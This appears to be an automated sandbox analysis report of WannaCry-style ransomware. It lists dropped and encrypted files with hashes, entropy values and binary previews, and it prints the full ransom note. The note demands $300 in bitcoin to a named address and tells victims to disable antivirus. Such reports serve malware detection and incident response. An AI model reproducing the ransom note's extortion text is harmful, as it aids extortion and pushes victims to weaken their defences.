                                      Preview:.(......G/..!.j...NZ..l.......3.n..4....f..'.$.qy!..Y.C.Z.I*.*~.U....}E....o......\.G.t.%.<..HYs.8..a0;.....11.-q...q.rQ.B.h..WD.1...ws.gI...:c..8......E...d'.a...Q(..1../v.|..6.].Y....2^..c.F7&.h.4w.mu..Z.K2[YGk.g..M,o...w...."..A...(c\n{.W..u..R1...q.GIX3.kf....Y./.w`.....A.^.+.c.m.....u3?9...;<>.3p@.%0..R...w..]..,..8....X.6$...#..O.U.T.X.*"nVry...Y.(Z..)8..K.B.2]....M..>.X..V.....-...Jf(..!(R.....D^.p..w._.'...o......\..)...n.F..bj..."..0..m.e..E....y..t....`...{...I.V]w.T9.|.4...>.DK.e.M,../x..d.x?...........cxx...h..YI...^t.....XX..8.4.......z.b..4.U1}...q....^Sd..C.R..L9.3.R.,N..................]O.......&......)......d.)-.)...}]$j4..i....._..0..u....N}\.e}.....f.v.i*}&....R.._95..5.....3n....'.}L!9...f.D.K...X...._....b.vf...$y ....3~.."...V....,3'-........j........1...0..K......ud.d...|.W.nV.0....|......{..t.a.m(...-...k9.....-...gl}K..Rp%....;......8j.J.n. ..)].7..#.JuF.....L.].B.......!Q/........X.\...sw[..5.......R

                                      C:\Users\user\AppData\Local\Temp\9.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.783076621701315
                                      Encrypted:false
                                      SSDEEP:24:jfmWqpdOx0PjZbNyuAAWaSRHqQCIfOkzn16lxMEWxGbr8LIP0j7t73:TmWxx0tb4uAAWdXfXz16laB0r+RT
                                      MD5:67FB214B80150E2F9E414A8EB75D8CF7
                                      SHA1:7B6688468C5489CCFCFEF5E1F65B17B891FB1BBE
                                      SHA-256:E448EDC1905A48061A1A43B22B557980CF29EA5FB0B3078265C53E5BBDC7FBF6
                                      SHA-512:DB9144AB5F3D9BC278A2630761DB06F4F9D3FD4FC4680CBFA11BAC0F5011B39682A51CC8970E0CF817C4B08083908AF2565B19F31522EF1B5223B4BA7C616804
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:K#.\.J/.`.W. MB..E.....U...../^........yJw...K.7K. ......>...H.....c....6..z~...2.j..?Ch(..a.....Gfw..~....{)..t.8..O..7.....!.<.0X.3.0.wFe`.-.....4....Z;=....:..q......`s5..U..].!O.Y..x.8...v".a..(.o....#Gq..mVA.W-..Wz.4...v1..I...z..W~r...>g.......U....cW....Cm.x*asq..}.lu.7.....K..c.7.h.....=..H..+.........R.!.....o....0a.H.1k...`.Xbs.G..B.....j.#'.g.O.)|]..<-........0..q..U.q=.{..(............=.._3..4~..<.Gn...$I/:`...+.4....t.o.K.{?........".t...x....*6M.b.....s.7.........4.".l..R1.......yq.`u.......h.R:.W'.Z&....J..h.R.......Kg...4...3.x.......HM.vy..".(f..?bN.z.%|.exq.....,Xb."..3....G:...$.D.|..f.. ..w.o..pv..wS....h.J..4...M>..P..G..DO...a.]o>M........4y....O..5.....<:.)).K.8..\XHi....g.%(....&94.u6^..N[ux. ..)..6..aR..5..y......<.P...=\.O[7...).....G..w*!+c.,.yQ.........'5tU...M)..W.y.S.^\.2..k5..EL.!...MC......w..&u..e.f.V..g.t*M.....E...PG..r.W..5_8'.......*h..:.a.wD...J.bZ.g...WS...2..h.t..}v.4...`<x`.^...j..H...?....[.&b.3

                                      C:\Users\user\AppData\Local\Temp\90.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.812602627676315
                                      Encrypted:false
                                      SSDEEP:24:ITzjlTqUY0AzcjWX+R5FEwVs+qdHmz/vMkPJc:U9qOAIjPdVoHE/xc
                                      MD5:CBBBB1A911096CC6CC8F7557259C39C0
                                      SHA1:F7D03E0E3BF315422FF95C369B5F9D2B54A8F7CF
                                      SHA-256:E43274728B2C184B200DFD0F8FFD021173ABF890767BD7ED9D4BE919176AB447
                                      SHA-512:EDA55CE0445A04F714F9B5E02AA8FDDC0A87DE9CF9E68ECEE8F0EEA6F660243563FA7A93D81AC808FD2AB59902DBC8565685E7991A7C3EAA9F64443E218A56FE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..n....`3. )#.1..1......r..t.9..T-.6jV.T.0..Q.F.....8..~~.}{...5.`@A.........._E_..%...........!....C":.n..t. ~`........j4d. ..].O~..=..C..6.T8.+vr.^..$..?^:..il...$.I..G....0$._..T0Y..D!.....,.(.Q.f.V.Ds~.......3<..1...F.M.I.m...J...7.t..8...*..Z../... .vU........oB5M=r.8.../cviow....<.-...i.u...<G..n...s..=....#.L\.V.U.b..-Fh....m.a....5R.....I.3O...rD=..+:....8.y_.Y.'a.w.C*~r*....B...}.si.>....y.2..Q...d..> ...9.9.BW.....hU....W.P.d.x....w..V.wpgM.e..6.x.>.H.M.+..k...........0.e.s..T=9sU..7..i..O."^:.....3..w....K......0?Z...2.i.h5."...Fh..a..}1......+......j.'..c......:.u<.3.....3(..U.....T...#...HO..j..(.!P.J.GT^Z.;....&FD.IU'.C.L.*...p.r.?.l.tq.....". ..r.;..d..1:u....{j..P.s.`.o...#...FR.......s.."...Gn....E.7...z4.W....?.....V......01h......[#.vM.Xl .h~[.G..d..4]"h[......W.l......}....%..U.U...j.E.SD.kb..s..3.".k.)........9b....w.C}.....=.p.fb.u.b7..]....r{:tV..l..|...Ba8y......q...l.y#.fP.o5..>7%h......E-........%..V..h.

                                      C:\Users\user\AppData\Local\Temp\91.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.780737375181617
                                      Encrypted:false
                                      SSDEEP:24:OhIBPSiZnAJJgyyemjvdRRjsysG6uRJnw+X:kIBPfwlmjvdHjsXIJd
                                      MD5:D344FFAF773B296842859F32ED854847
                                      SHA1:7E96FB26B557EFE238445F83BCF8417EC1AB1A3F
                                      SHA-256:5BA982BD9A28354E61836C309EE6AEED15B27F8726E40190B7706D648758F99F
                                      SHA-512:81DF71A423F4BBBF79293289385A9D4B2E44B1AAE262C3AA8EC8794BDC1211583F4F41212FAAF54A383FC68068E542660170DB6F5CFF13B96355266652A6E758
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...M.m.8..2k....GV.K.u{.v9.4..*T./.=.Px..O..............*).t...p[H..-9*..Yo....2.*.s. 6.;d|zv......6..)h.....]...:....7..Z.....2.._..".80}.de+'.Pd..\..].l..R95Mj..............E...d.D.m..}Y...`..<..C.*....\...g..`...l.,.k.2(..d...(}4.e{"..@.....,OR..,'.#g..Z....hk....F.4.].n..................}&..."...#.-.Y..O"...4X....*D...x..}..j.....i._.u.....'.)..1........}..tL.m.Gj.., .@T#`....b.x8......bw.....-.gW...A&a......^D.u..8[.N.K4.T..M...K...]..7..?$5........,..*......#.L...k>~r......[4.5.....K....Hu.z..^!..FUC.B...R&...~h.+.>.........m...|....f...tk.R9?.9.t......#...9...F...*.1Y[.8...h/..f.`...G...?.@....iY.hz..P...I.-...}..AB-....y..v.d..mF%../kn...Ha.,.J........r..[".o...TcRI...h.i.m..xU...y..,.....b..<...9.6+.{RC9..z..3..h5_.2...-k.ls..\.r.."..=..xT......i.!....".M...o.R.{d..0j.m.&....r.l...;4$..M...N:..6...:.|.yIo9[............>..A..J9.=M..!0.o..Yo..4.....d..f.^..M ......m.Y..4\..XH...O`......h......*...\.V...;....(aub.-2.V..a..t)...

                                      C:\Users\user\AppData\Local\Temp\92.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.794754487059357
                                      Encrypted:false
                                      SSDEEP:24:k5FBdXoj/VyNkCENKbDO5tavvrnwWr3vfgGKNmZ:k5DdXSwNkCKKbDgirnwMfAmZ
                                      MD5:237710D9C2D5829105CC5BED98508118
                                      SHA1:B64B99338128143FDFBE4BF0B45D15E70C06A6B2
                                      SHA-256:794F1596DEB14C77B9C14A91676091A8D27156FC18228ABDB342BDD04FD7FCDB
                                      SHA-512:4B45BEE062E655F75C4F79EDBA63F65F2224971ADD8E0AC140321D73FA6C11985E5C14A9C02FD2A9DD2C238A5D4B229E2C3F103AAF5A7087A3425C2ED8E92525
                                      Malicious:false
                                      Reputation:unknown
                                      Preview::n......*..W.u.>B..8Z...B.(....0.........4.Ef.Y.u.W..T...*....@._.l.(_..jx.Z>...s:7..).)2D../.>...~.]^.......a.....l...1.b.s.Z...C$.KK.3...m:.l...h.....Y' ...f....r5..MX.rYOPW._..../Q...8.v. ..0.tRi........gpA.y]...q.)...z...&f..Dy...w3.....b....._!'+...y.....y........^$......?U.qgt.X.....Z..A..+'.8.&.R...........r.v.4..x../....P.g...p...x.g_J......3.4CI........Y&.$.......s.d02...j8.))..9...../.1E.`.i....M...6.q.).4..h..My.8.[.~..sB......Y.4'B.#...K...L!...N...ISr..P.5.{...@.b.;q..B1..F...*..Cw.I...)Z.k+b.1......t....@...L2.-x1.....7..-V..E...]p...7..|.|#2t;.........?."*...o...+.O.z.....4..c...gg....X..."...J>...Df.."OQc..o.F.q..).V.\..Nn.....h........]..@.J"...?..?..........:..B_...).b..Te}j...jB.2.@...QG.....~n..._2q..pCW~.a.....3.......R..h...9..iKh<...X...N.I........2..X.O........w.....0C...{B). 5.[.^.......w.v...L.s.`l.....X..........j....B2.be.t:..m ..360.<}w......&.yI;;.2y........-...E.4.....H.......u.~....B.f_.&....h'..*.~K.....qV.....r.u_b

                                      C:\Users\user\AppData\Local\Temp\93.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.824214131573233
                                      Encrypted:false
                                      SSDEEP:24:S3HVzAXgnSyPQW1adMvdz0+moUG+/5jsG73oJodgv:SHVzNnSyPQWVvdz4oUP/5Voudgv
                                      MD5:94955F70A69313A0CCD777017218E4B6
                                      SHA1:4564561AE8BB70CC5D2C88CB226F5C97C71B409C
                                      SHA-256:E40CDD4FAA194A9367E0B519BAE80C66EA81C133EF94D0275F59E5A8C2611F41
                                      SHA-512:8E84F25E7315D971B72717E5D372E6C6BAC8C4B1A3B20A217AA38836D07751C65143FD1298BF93B680F54EE4F9B67F3368F013CAF356CC54A0BDF3AA8B303277
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.D....u...8[%...[.r.FU.Z...V50.;L...F..3..w`j......... Lr.!....].k..dE.Cd.r%....r:"5\......QA[NxY...%|.....}../{.#...N..u.<......l]0.B_.0.5$.;.b....b...q.....>.a..?.ju.T.OY.xe.q..TQU..K.}O~......+.....E..1._..L.#v...e...Z...%.C..r.....I..!.a@...=n.8..R4W&.R(...6Ss3...I.{.}..k:.._..UIy...s8.E"....k..%.8.@......}g~......V;*X..B....P....X?.}..e6...L.+E.D....n.=u..<.M....#J..f.[..fR.. .....!-.....N....R.p/.1...].]..E...>...`j......1s.2.Q~>.....1.D..:...3..<l."....s.(D....t.ks......].......V.....l.{."s..d.:.O..SB.b.w.....n5..+8.H...c.j.4b9~.B..>$...I]...j.h*.U...f.[....9.:E.'v'.u]j.X9..}0...{.j&g.,.{bW_.qd...{..h/..C..V.#..g0I. ...QYe.T}.t.A........e...L.u...`.L.[.....>.X........V..$4.9..y /...AL.4.. .s|..@M.!.Z.........(....2/S....|2M.PK>....._...-.LB&......Wl,..=...a...d...E....J...7....Z.A..u.z.i^.."...d..M...n)..._..Mq*....(.{)`..LPK.o....S.8.V...AUe.#.e>Y..{...M x..o....aZ.Nu.Y.....3........G....;.:.....Q*..K.W'."...9..|......Y....x..E.c..i..D.unt.

                                      C:\Users\user\AppData\Local\Temp\94.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.826864725614248
                                      Encrypted:false
                                      SSDEEP:24:h+/LE/siMKRjO6rRtCffI44+n6SrlcnlvlFE3to9TgalMY:Q/LEkey4tC33nLclwG9TT
                                      MD5:B4CAD3537CDA5C776D6F6594DD5D6205
                                      SHA1:55AEEA384CE6E2BBBFB7D376B0AE6061FDA316AB
                                      SHA-256:3327EB9E11928626F45F3BF31CF3D6CA646B726C7E2BC5BAB7DC26B4B7E1EE9C
                                      SHA-512:CD7E02DD09292FB0C80BF23395E70F90A94DF110033439EE48946691BA3D40EC6FD60556A6CC4F32AF1D8D81641911D9777318335C3C7027E45E649B38D1904A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.U.'..=.\....k...g#.(<....p:...`~o1|.....d..1.-b.=7Nd.w.%o.s.........`/P.u ...0.....J......>...b..C=-O.:6T....N.[..'S.lt..>....S..X..w..v..C$...`8...I.l/....jM..P.V...$.,..._..j_.N...w....Y...s.1..'..b0.t.\.k.s.{)...p.8.g.U|....m.`~....S...T..?..*...HY.....K.n..P.hm......6..o08.....V..I.. <p5..E.Y.*.t..`-J.......x.Pi.........f..&..1....'.&^A.<;......}z.=.....E8..0...V.{[...D.N,.tra;....2..].:./<.7w.p.H.M.{.....s=..Z....Yfj.|..#x..#_....Q.......Z...?.7.b..(9O.|.2.0....L..I.G]n...TN|..#x.oJ....Bb..............) }...C...Z~...e....[..$.P...< [.RR<.....xs...@.!X.(6.<#..x.a.G;...:.W./..J..j....Y.L...E..,^)....BT....>.8y.L.c_..*Fc`?2j......15........r..e.........d...V.w..)>.Y....={...X..D..R._.......w~....K...$..7..1y.!I.'...-S:(.o.|..=L...G,R.gC.).r[nH...)4pIp.\+.D^...q0...4...-.........,.$+........N...R.k....(.hC7..jd`...Ex..v..^....DT........P...Z.....c....[..:.vE.~.......s..F.0.Z.......x._<.....1.n.S.R..*^a.q.Xl.Ff.F..|._."Lq.....r..8.....

                                      C:\Users\user\AppData\Local\Temp\95.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.826235708758528
                                      Encrypted:false
                                      SSDEEP:24:6bTYYiKfsBOAv3b91D2ht+iG1ZtmnY8LhVxlNaEy7EoO:WcYuOI91D2qObRlNabAb
                                      MD5:A9C21DCD349A9889F1735DD63FFBD40E
                                      SHA1:24D23BD4831D1CE0B05F46D89DDF450C6E6B251A
                                      SHA-256:01B555B375CA0762A3891C00EBC8A6B8BE0C903C4F480F34435C7B2B1B4E8132
                                      SHA-512:CE5B1309EDFCEEBB027E9E11551373BFEEEC940CF64ABF50C9C9CC1D466E54B258BE47C130C036464C84A09F9370013F7AC9406BD9567DCC20C65976F358D0EB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:m...WJ..JF.1.....K.../.$....[M..^,..F.Y:....`...w...b@NTr.A_.V(.Y'O...\...2.... .3..zuh.)..#.........r.!.hi`.f...u?F....j.o.f..h.".}.Tg9<..D@.#...${.j....*...vt.qh..j$...I-.J..D..8......o.A.B...n..h.!.S....... ...~C....8P5./.]...4..|..~.o..|..T.#.){..D......ztl,V<...g+m..x....9.....'....I......ft..a1dO;..@......K.).hV......(;....8p..J.2.......9J.x8d.#...o...h..o...P%..).GO..{.,....~...Q!...J...Wx...D.@.4....NDp.]...P..`...........k..eX....j....GgP.8..k.......JzI..9..}P.T.{...P.$|....."....Z?_..s....K0...RM...y.ex<I....6.U.7Ee.'..exL....j.....}.b.1...%...u..A.#.0W/3v.....w...YF.......4.]'._.....8Y~..u?.c.3...b.$..v.3.m..4.J..Or...m..c*|l......_z.I3kC..+u......Mky..,...<\A.`T....,....8......z.h,.s.].'..^.rR...w...M.....~..f.....F....[V9aa$.Kh.?[...<4$X...cd>.B.;....i.>....#.l.7..N.H..R.]..=..[....,f..C~.kn)I-TQ..._.........X...)$.;j.`n.S...:....rJM.}.n..u....E.....[q~h...!.e..S.r.......h.E..j..O..m..vJ@.5i8..".n".D.%.3A..a.9.p@.}.R....$

                                      C:\Users\user\AppData\Local\Temp\Symbols\pingme.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):280
                                      Entropy (8bit):7.094636199168556
                                      Encrypted:false
                                      SSDEEP:6:bkED2qZyLR6M5JsG81kyYrMcxhcZxvxbmWYMPNoiZRkIGgxa:bkEDRZyXJsPmyYZ6bmWYON7kIw
                                      MD5:C187396D7326B90C8555B6C5B1720EAE
                                      SHA1:13DE525F81CFE7DDD24A416792DF773E5951C076
                                      SHA-256:352A1BCE0743E725CD2DBAE55072DBE0C9B54A62708C868E00E8E70371F83B82
                                      SHA-512:1D46047AC6941A3A8A92335599B922E47D51DF241D7E660E50D39FE5269C31B3B75F9079F4BEE4DD7BE111695F8A9A00F05BC8FE8B180A65A0CAC64A6C43932E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............'C...;....#@.l..z.5.,qCR.4!?.L.}......>...../0..........VS..a&...X1....h..$...Ay........!qCq~%..1...a1NM..P.`LB-.)..w6.N.C?.........z%..?..R.JV.m.........t..W.....&Fa.x.q..>.P.8\.u....F.&......6C!..tz..h.t.P....Q.k....Q.[.@...E[k,.:I............

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):52120
                                      Entropy (8bit):7.996588774816413
                                      Encrypted:true
                                      SSDEEP:768:1a2rVdOWkK/7OrQwu9Dn6/3on3RiLZVFcUJ35r84dAzPeMyhSMOu0L5vUQ8VQ7C:giLMK/K7S4YYZPT3iPjnU9Q8p
                                      MD5:A0A2FD274C700D4427A980875BC9F84C
                                      SHA1:F192FD867C02A4C4EFA66FDCDE1930989494049A
                                      SHA-256:59CBAE0D40D35381F535A02C6C2EA78304A70B4CDC9E7B948BBB24589F60C1DF
                                      SHA-512:1F9CB3E424F3E10AB6430BEC8AE89A2A8F065FE879AAB53D39F0A02B3C4911DAF51F339C875ED5C0B136A4B389CDE0C349491BE3F70BABADE10477E3EEC74CBF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....z...Qo.),...qo....s-...p..k.d9...|.].....(.......~.7...1..7.j.\G..#.6:.{..+.Z..>...X5S...4..v..0...n..."....D....U.|..J.=T......B.1&2./_TMrK..:"D....#2Y.%.t...i?0....a......O!.;'<.`...Y.]..@..J..7..O.]'Zb.o...%y...&......Z.u....4..`.]uD._.(]Y.K...l....r........6.A.s1..rr.....$....k..rB...~..G.-W-..-|.. *^...#.w..B.s..[....... Dsr.`...<.#e6...F..I}D....Q.....D4....._..*)...".6..M.&.-"dg=... 'M.b....}...Z7/...#.o_5..x...yS.oAz-.!..pR.J.).5......}.;R..o../J..6..\.3n.:.3gla.@....$.7o.0..I.Y;F...&...m3.T.V4r\".l.....wP&e../W......[.8.U.P..}...m.1i(."...xn.|.*....M.V@...:.....}R..}..2"...t..:...S"zR{...^.g.HQ..f..........$.;9...C.e..@8.CO...r$..(=.eb....v..T_._..rp .nJe!."....7.o.\GZd.]..|.(..E=<...^.P41.b..?...b(..I....~n.q.....Y....N...Y..3.k......=9B(YDf.pT.j}N..p.?k.`vy~........G;..j$o...C|sE.4UiW^.vs..V.i...j._.a......=.....r..yW..D.F...TO.K.&fV..%*...g.u..%..M.].K..q.H."........q.)..$..c.i-!Tr........x..A#....=.`....WmVA..X.

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47576
                                      Entropy (8bit):7.995989142030241
                                      Encrypted:true
                                      SSDEEP:768:YHT1Ienc4rGiGjzzPuXZSXdG6ahpELCIGukuPHQzhZWEzWewYgbZ4DcWK:u1Iec4CHjzzmXMNG6a0LCI/MWvvH
                                      MD5:7C5713FA1F58881E3DBC13908D4FBCC2
                                      SHA1:AD4A3761076EF5E253ED06F0D1203D541259F175
                                      SHA-256:C3D25682C6275EEA400EFB9E0B8C0B20DE7618AFF381B3C28793690A01B7CE60
                                      SHA-512:C3504DA14A8E53372BCA1828372EF9EC657370AD863407E738F91DFA05FCDC27B7EF22F7B00846641F625B5AB1342FC0170E61CE2F207CD0476F27F2159584FA
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....w4..o....E.+.>}......`.........f6]..\p.........."o...t............6:..U.>.=9...j........|..rb....R.5....j.S.8..Lc^.'.Z..owo..m!p;....ms.~m:.CJ.....8..}.*1Q.V.dt...P....v7.2.....e...o.tH..(Ft[.rn6Q4.....5,p3.+.wR../...gQ..T.........&..10.r...............IC...)....;b...g....|V.q..xn..)L2...9UD.b...g^/..e...?9...........22..c..p8....n...?F....o.n..!....KD.H.N..j=A...q.wvy..a.9......)~D.c.=r.e..H ..J..^:.Qy.v.M.qL.L|.:.Xj+..+.%4.....LJ8..s.Z...g;w.<...b@.Xp.....!.I.6..7..8...+..>$K3.........)eE..`..w.=9..jQ 3....G.u....7...~F. ..6.#4"........C...b...o.8.0/1B8...0...P.../.`.E..tJ.8N..H......B.s..-.Z...T.).h.d...m.aR0.l0<).:..%...&R.T3.6h..j.Ok..X...........og..Aq....mBvr@m.7...#..Z...{.;o<.t...e...V..l.dB..sS.<.!7.."..Sa]g..^..Y.n..).X..>$.......;.sRs"....W......W....7..&.....P......M.\.X..ua..%..m-..B~}T.>y.G".6.... .vF).k..p..o..m...0.?........i7}+O......n.....>....B.J.&.t.!.........i.....Y.......U...~.jKf$..z.7rV.v'. .7..

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):34696
                                      Entropy (8bit):7.995319126251799
                                      Encrypted:true
                                      SSDEEP:768:72jbSq3OX9uW7sfpBrtW8rNuO4il4N6Fr9oN58+ZdYr4L:yjrOEWofpybmCNuaT8UdY8
                                      MD5:E5C88E445AF284D56BE4745B2BE54E81
                                      SHA1:5AA681A7EAB977DDA70DC2E425F8D9BEA9B5E420
                                      SHA-256:58EA077B1EA6C2DF2DE3E3AC1DFB853CCCD5809E5F68BEADA58E6C3AEFBEB36B
                                      SHA-512:346BCBFBD0FE314715D0DCCB43200E657FDDE2D6DC894943F4181EFD7E074665D237AD7B2FA81F35C4D68741AF88B250F0C681D0F21CA47C6C528B40C80B4B7E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....@...Z.......X..^J*..7.v.3....K1..on..J...9.......2`..A<'..~B..'.Q.X-...Of.~..PK...>/..v..w..L,v4.........k..,.../.w.K-.}xz..Q...CD........&gU'...R. 90q.L.0R..=...*.g...d......t./.W....)^.../Uy^...5M..Gy6....w..I.Z.JPfdZ.+..n.2.3..Z.Y...].......o...........`.-...$.c.,..O.....@....+.%;..b~......U.^..A.7.%o!.@...CrY.*....'.......D)q..Oan..Qto..c....nY%t4...i.w..=.F....i;.(&..l....o.>.2q.].. 1. c...rt.e_......`.X..Um..q....M.X..QS#.....G..qK..w...>.n@..h.....L;N.^`..1.}..]&cJ..S..<y......:h.m..O.=;W..V...KnsF..C.......!..\.6.x[\..S..e/..Cj..;..,...0.q......]....o.8.su\..c...+..VD...n!......n..5...._F..@..~G?.?.x`....*D..r.L..G....~.-..H..8.......L......9w......Qe|..=O..4.`.Y1..\'....'..!.Q.v.......#....K7X...y .lU(.t...1........=...u..n....2......m.z.....E.A'........g$j\..%..z/{..^r.x.....(../n..D..?...-.r..~h...J.y.........sds"..5#....2.oY.;.c..{...N {..K....\.@...^...x.?.8....&>...K..q0..../..Z.....Z.....Q...2_.*4d;.B...\..

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):3465368
                                      Entropy (8bit):7.99994893924694
                                      Encrypted:true
                                      SSDEEP:98304:FrwMKG8L4AnmQmac4xsEtFxxyH11k0vCBo4e1reada:FrwMb1QmKxswrxyHnve5Bh
                                      MD5:AB2E840CA02AF0249C771238F4527942
                                      SHA1:DDA1010A3D5CE411631436945ABC4C4B9538405D
                                      SHA-256:C85F89EFD893CA84B1C104515DAFBFF0F69AB01FBEE68959877FFFF0C8E85754
                                      SHA-512:5B51D0E6CA85E39F991612D2AD688CD768F184ECB5A2FA9311AE19C5F9649BBFFCCA79D1656538E4E6D8612181A4D1F87F1D3A9CAD5908AB3F55F82AFBBB6DC5
                                      Malicious:true
                                      Reputation:unknown
